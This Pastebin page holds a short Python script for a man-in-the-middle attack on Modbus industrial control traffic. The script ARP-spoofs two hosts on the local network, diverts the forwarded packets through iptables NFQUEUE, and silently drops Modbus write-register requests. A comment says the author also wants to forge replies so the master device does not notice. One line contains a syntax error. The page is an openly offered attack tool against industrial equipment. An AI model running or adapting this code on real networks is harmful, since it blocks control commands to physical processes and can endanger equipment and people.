Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import nfqueue
- from scapy.all import *
- load_contrib('modbus')
- import os
- # MITM rules :
- MITM = "iptables -A FORWARD -j NFQUEUE"
- print("Adding rules :")
- print(MITM)
- os.system(MITM)
- os.system("sysctl net.ipv4.ip_forward=1")
- os.system("arpspoof -i eth0 -t 192.168.1.33 -r 192.168.1.55" &)
- def callback(payload):
- data = payload.get_data()
- pkt = IP(data)
- if ModbusPDU06WriteSingleRegisterRequest in pkt:
- # Drop packets with write request...
- print("Write request packet from: " +str(pkt.src))
- #pkt.show()
- payload.set_verdict(nfqueue.NF_DROP)
- ###
- ### Here I want send response packet to not to break connection making by master###
- ###
- else:
- # Not to touch packets
- payload.set_verdict(nfqueue.NF_ACCEPT)
- def main():
- q = nfqueue.queue()
- q.open()
- q.bind(socket.AF_INET)
- q.set_callback(callback)
- q.create_queue(0)
- try:
- q.try_run()
- except KeyboardInterrupt:
- q.unbind(socket.AF_INET)
- q.close()
- print("Turning off iptables...")
- os.system('iptables -F')
- os.system('iptables -X')
- main()
Add Comment
Please, Sign In to add comment